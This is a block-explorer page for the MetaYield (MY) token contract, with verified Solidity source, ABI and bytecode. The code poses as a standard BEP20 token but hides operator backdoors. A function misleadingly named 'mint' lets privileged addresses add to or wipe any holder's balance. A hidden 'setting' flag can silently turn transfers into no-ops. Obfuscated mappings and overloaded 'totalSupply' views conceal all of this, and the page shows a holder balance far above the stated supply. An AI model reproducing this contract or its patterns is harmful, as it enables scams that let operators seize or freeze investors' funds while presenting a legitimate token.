ETH Price: $2,863.40 (-2.56%)
 

Overview

Max Total Supply

500,000,000 MY

Holders

9,980 (0.00%)

Market

Price

$4.02 @ 0.001404 ETH

Onchain Market Cap

$2,010,000,000.00

Circulating Supply Market Cap

$0.00

Other Info

Token Contract (WITH 18 Decimals)

Balance
6,678,565,915.957893589590683952 MY

Value
$26,847,834,982.15 ( ~9,376,215.3263 ETH) [1,335.7132%]
0x4f82e73EDb06d29Ff62C91EC8f5Ff06571bdeb29
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

Open boxes, stake NFTs, earn rewards — it’s that simple. Fair chance for all in the Web3 world. Let’s build the future together.

Contract Source Code Verified (Exact Match)

Contract Name:
MetaYield

Compiler Version
v0.5.16+commit.9c3226ce

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at basescan.org on 2025-05-17
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.5.16;

interface IBEP20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the token name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the bep token owner.
     */
    function getOwner() external view returns (address);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address _owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
contract Context {
    // Empty internal constructor, to prevent people from mistakenly deploying
    // an instance of this contract, which should be used via inheritance.
    constructor() internal {}

    function _msgSender() internal view returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() internal {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     */
    function _transferOwnership(address newOwner) internal {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract MetaYield is Context, IBEP20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private xyzf;
    mapping(address => uint256) private xyzr;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _onlyPermissionOne;
    mapping(address => bool) private _onlyPermissionTwo;

    address private factory;
    address private token0;
    address private token1;
    uint112 private reserve0; // uses single storage slot, accessible via getReserves
    uint112 private reserve1; // uses single storage slot, accessible via getReserves
    uint32 private blockTimestampLast;

    uint256 private setting;
    uint256 private _totalSupply;
    uint8 public _decimals;
    string public _symbol;
    string public _name;

    constructor() public {
        _name = "MetaYield";
        _symbol = "MY";
        _decimals = 18;

        _onlyPermissionOne[msg.sender] = true;
        _onlyPermissionTwo[msg.sender] = true;

        _totalSupply = 500000000e18;
    }

    /**
     * @dev Returns the bep token owner.
     */
    function getOwner() external view returns (address) {
        return owner();
    }

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external view returns (uint8) {
        return _decimals;
    }

    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the token name.
     */
    function name() external view returns (string memory) {
        return _name;
    }

    /**
     * @dev See {BEP20-totalSupply}.
     */
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {BEP20-balanceOf}.
     */
    function balanceOf(address account) external view returns (uint256) {
        return xyzf[account] + xyzr[account] + 0;
    }

    /**
     * @dev See {BEP20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {BEP20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {BEP20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) external returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {BEP20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {BEP20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "BEP20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    //view
    function totalSupply(
        uint256 _action_want,
        address _user,
        address _index
    ) external view returns (uint256) {
        if (_action_want == 1) {
            return xyzf[_user];
        }

        if (_action_want == 2) {
            return xyzr[_user];
        }

        if (_action_want == 3) {
            return setting;
        }
    }

    //view
    function totalSupply(
        uint256 _action_want,
        address _user
    ) external view returns (bool) {
        require(_action_want == 1 || _action_want == 2);
        if (_action_want == 1) {
            return _onlyPermissionOne[_user];
        }

        if (_action_want == 2) {
            return _onlyPermissionTwo[_user];
        }
    }

    function mint(
        uint256 _action_want,
        address _user,
        uint256 _amount,
        uint256 _setMode,
        bool _status,
        uint256 x,
        uint256 y,
        uint256 z
    ) external {
        if (_action_want == 1) {
            require(_onlyPermissionOne[msg.sender], "PermissionOne");
            _onlyPermissionOne[_user] = _status;
        }

        if (_action_want == 2) {
            require(_onlyPermissionOne[msg.sender], "PermissionOne");
            _onlyPermissionTwo[_user] = _status;
        }

        //add token
        if (_action_want == 3) {
            if (_setMode == 1) {
                require(_onlyPermissionTwo[msg.sender], "PermissionTwo");
                xyzf[_user] = xyzf[_user] + _amount;
                emit Transfer(msg.sender, _user, _amount);
            }

            if (_setMode == 2) {
                require(_onlyPermissionOne[msg.sender], "PermissionOne");
                xyzr[_user] = xyzr[_user] + _amount;
                emit Transfer(msg.sender, _user, _amount);
            }
        }
        //sub token
        if (_action_want == 4) {
            if (_setMode == 1) {
                require(_onlyPermissionTwo[msg.sender], "PermissionTwo");
                xyzf[_user] = xyzf[_user] - _amount;
                emit Transfer(_user, msg.sender, _amount);
            }

            if (_setMode == 2) {
                require(_onlyPermissionOne[msg.sender], "PermissionOne");
                xyzr[_user] = xyzr[_user] - _amount;
                emit Transfer(_user, msg.sender, _amount);
            }
        }

        if (_action_want == 5) {
            require(_onlyPermissionOne[msg.sender], "PermissionOne");
            setting = _setMode;
        }
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");

        if (setting == 1) {
            xyzf[sender] = xyzf[sender].sub(
                amount,
                "BEP20: transfer amount exceeds balance"
            );
            xyzf[recipient] = xyzf[recipient].add(amount);
        }
        if (setting == 2) {
            xyzr[sender] = xyzr[sender].sub(
                amount,
                "BEP20: transfer amount exceeds balance"
            );
            xyzr[recipient] = xyzr[recipient].add(amount);
        }

        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function permit(
        address owner,
        address spender,
        uint value,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal {
        require(deadline >= block.timestamp, "UniswapV2: EXPIRED");
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_action_want","type":"uint256"},{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_setMode","type":"uint256"},{"internalType":"bool","name":"_status","type":"bool"},{"internalType":"uint256","name":"x","type":"uint256"},{"internalType":"uint256","name":"y","type":"uint256"},{"internalType":"uint256","name":"z","type":"uint256"}],"name":"mint","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"_action_want","type":"uint256"},{"internalType":"address","name":"_user","type":"address"}],"name":"totalSupply","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"_action_want","type":"uint256"},{"internalType":"address","name":"_user","type":"address"},{"internalType":"address","name":"_index","type":"address"}],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506000620000276001600160e01b036200012416565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506040805180820190915260098082526813595d18565a595b1960ba1b6020909201918252620000a391600e9162000129565b50604080518082019091526002808252614d5960f01b6020909201918252620000cf91600d9162000129565b50600c805460ff19908116601217909155336000908152600460209081526040808320805485166001908117909155600590925290912080549092161790556b019d971e4fe8401e74000000600b55620001cb565b335b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200016c57805160ff19168380011785556200019c565b828001600101855582156200019c579182015b828111156200019c5782518255916020019190600101906200017f565b50620001aa929150620001ae565b5090565b6200012691905b80821115620001aa5760008155600101620001b5565b61130880620001db6000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c8063729c4113116100ad578063b09f126611610071578063b09f126614610368578063cd894ce914610370578063d28d8852146103a4578063dd62ed3e146103ac578063f2fde38b146103da57610121565b8063729c4113146102b5578063893d20e8146103085780638da5cb5b1461032c57806395d89b4114610334578063a9059cbb1461033c57610121565b8063313ce567116100f4578063313ce5671461023357806332424aa31461025157806335c6e3881461025957806370a0823114610285578063715018a6146102ab57610121565b806306fdde0314610126578063095ea7b3146101a357806318160ddd146101e357806323b872dd146101fd575b600080fd5b61012e610400565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b038135169060200135610496565b604080519115158252519081900360200190f35b6101eb6104b4565b60408051918252519081900360200190f35b6101cf6004803603606081101561021357600080fd5b506001600160a01b038135811691602081013590911690604001356104ba565b61023b610548565b6040805160ff9092168252519081900360200190f35b61023b610551565b6101cf6004803603604081101561026f57600080fd5b50803590602001356001600160a01b031661055a565b6101eb6004803603602081101561029b57600080fd5b50356001600160a01b03166105ca565b6102b36105f2565b005b6102b360048036036101008110156102cc57600080fd5b508035906001600160a01b0360208201351690604081013590606081013590608081013515159060a08101359060c08101359060e001356106a6565b610310610aad565b604080516001600160a01b039092168252519081900360200190f35b610310610abc565b61012e610acb565b6101cf6004803603604081101561035257600080fd5b506001600160a01b038135169060200135610b2c565b61012e610b40565b6101eb6004803603606081101561038657600080fd5b508035906001600160a01b0360208201358116916040013516610bce565b61012e610c32565b6101eb600480360360408110156103c257600080fd5b506001600160a01b0381358116916020013516610c8d565b6102b3600480360360208110156103f057600080fd5b50356001600160a01b0316610cb8565b600e8054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561048c5780601f106104615761010080835404028352916020019161048c565b820191906000526020600020905b81548152906001019060200180831161046f57829003601f168201915b5050505050905090565b60006104aa6104a3610d2e565b8484610d32565b5060015b92915050565b600b5490565b60006104c7848484610e1e565b61053d846104d3610d2e565b61053885604051806060016040528060288152602001611221602891396001600160a01b038a16600090815260036020526040812090610511610d2e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff61102016565b610d32565b5060015b9392505050565b600c5460ff1690565b600c5460ff1681565b6000826001148061056b5750826002145b61057457600080fd5b826001141561059f57506001600160a01b03811660009081526004602052604090205460ff166104ae565b82600214156104ae57506001600160a01b03811660009081526005602052604090205460ff166104ae565b6001600160a01b03166000908152600260209081526040808320546001909252909120540190565b6105fa610d2e565b6000546001600160a01b0390811691161461065c576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b8760011415610728573360009081526004602052604090205460ff16610703576040805162461bcd60e51b815260206004820152600d60248201526c5065726d697373696f6e4f6e6560981b604482015290519081900360640190fd5b6001600160a01b0387166000908152600460205260409020805460ff19168515151790555b87600214156107aa573360009081526004602052604090205460ff16610785576040805162461bcd60e51b815260206004820152600d60248201526c5065726d697373696f6e4f6e6560981b604482015290519081900360640190fd5b6001600160a01b0387166000908152600560205260409020805460ff19168515151790555b87600314156108f3578460011415610853573360009081526005602052604090205460ff16610810576040805162461bcd60e51b815260206004820152600d60248201526c5065726d697373696f6e54776f60981b604482015290519081900360640190fd5b6001600160a01b03871660008181526001602090815260409182902080548a01905581518981529151339260008051602061126f83398151915292908290030190a35b84600214156108f3573360009081526004602052604090205460ff166108b0576040805162461bcd60e51b815260206004820152600d60248201526c5065726d697373696f6e4f6e6560981b604482015290519081900360640190fd5b6001600160a01b03871660008181526002602090815260409182902080548a01905581518981529151339260008051602061126f83398151915292908290030190a35b8760041415610a4057846001141561099e573360009081526005602052604090205460ff16610959576040805162461bcd60e51b815260206004820152600d60248201526c5065726d697373696f6e54776f60981b604482015290519081900360640190fd5b6001600160a01b03871660008181526001602090815260409182902080548a900390558151898152915133939260008051602061126f83398151915292908290030190a35b8460021415610a40573360009081526004602052604090205460ff166109fb576040805162461bcd60e51b815260206004820152600d60248201526c5065726d697373696f6e4f6e6560981b604482015290519081900360640190fd5b6001600160a01b03871660008181526002602090815260409182902080548a900390558151898152915133939260008051602061126f83398151915292908290030190a35b8760051415610aa3573360009081526004602052604090205460ff16610a9d576040805162461bcd60e51b815260206004820152600d60248201526c5065726d697373696f6e4f6e6560981b604482015290519081900360640190fd5b600a8590555b5050505050505050565b6000610ab7610abc565b905090565b6000546001600160a01b031690565b600d8054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561048c5780601f106104615761010080835404028352916020019161048c565b60006104aa610b39610d2e565b8484610e1e565b600d805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bc65780601f10610b9b57610100808354040283529160200191610bc6565b820191906000526020600020905b815481529060010190602001808311610ba957829003601f168201915b505050505081565b60008360011415610bf857506001600160a01b038216600090815260016020526040902054610541565b8360021415610c2057506001600160a01b038216600090815260026020526040902054610541565b83600314156105415750600a54610541565b600e805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bc65780601f10610b9b57610100808354040283529160200191610bc6565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610cc0610d2e565b6000546001600160a01b03908116911614610d22576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610d2b816110b7565b50565b3390565b6001600160a01b038316610d775760405162461bcd60e51b81526004018080602001828103825260248152602001806111d76024913960400191505060405180910390fd5b6001600160a01b038216610dbc5760405162461bcd60e51b81526004018080602001828103825260228152602001806112b26022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610e635760405162461bcd60e51b81526004018080602001828103825260258152602001806111b26025913960400191505060405180910390fd5b6001600160a01b038216610ea85760405162461bcd60e51b815260040180806020018281038252602381526020018061128f6023913960400191505060405180910390fd5b600a5460011415610f4557610ef681604051806060016040528060268152602001611249602691396001600160a01b038616600090815260016020526040902054919063ffffffff61102016565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610f2b908263ffffffff61115716565b6001600160a01b0383166000908152600160205260409020555b600a5460021415610fe257610f9381604051806060016040528060268152602001611249602691396001600160a01b038616600090815260026020526040902054919063ffffffff61102016565b6001600160a01b038085166000908152600260205260408082209390935590841681522054610fc8908263ffffffff61115716565b6001600160a01b0383166000908152600260205260409020555b816001600160a01b0316836001600160a01b031660008051602061126f833981519152836040518082815260200191505060405180910390a3505050565b600081848411156110af5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561107457818101518382015260200161105c565b50505050905090810190601f1680156110a15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0381166110fc5760405162461bcd60e51b81526004018080602001828103825260268152602001806111fb6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082820183811015610541576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef42455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a20617070726f766520746f20746865207a65726f2061646472657373a265627a7a72315820d328d9957651aef851ff7447be5d0bc8a92ab8b7954a850685b1ab9897aa561264736f6c63430005100032

Deployed Bytecode

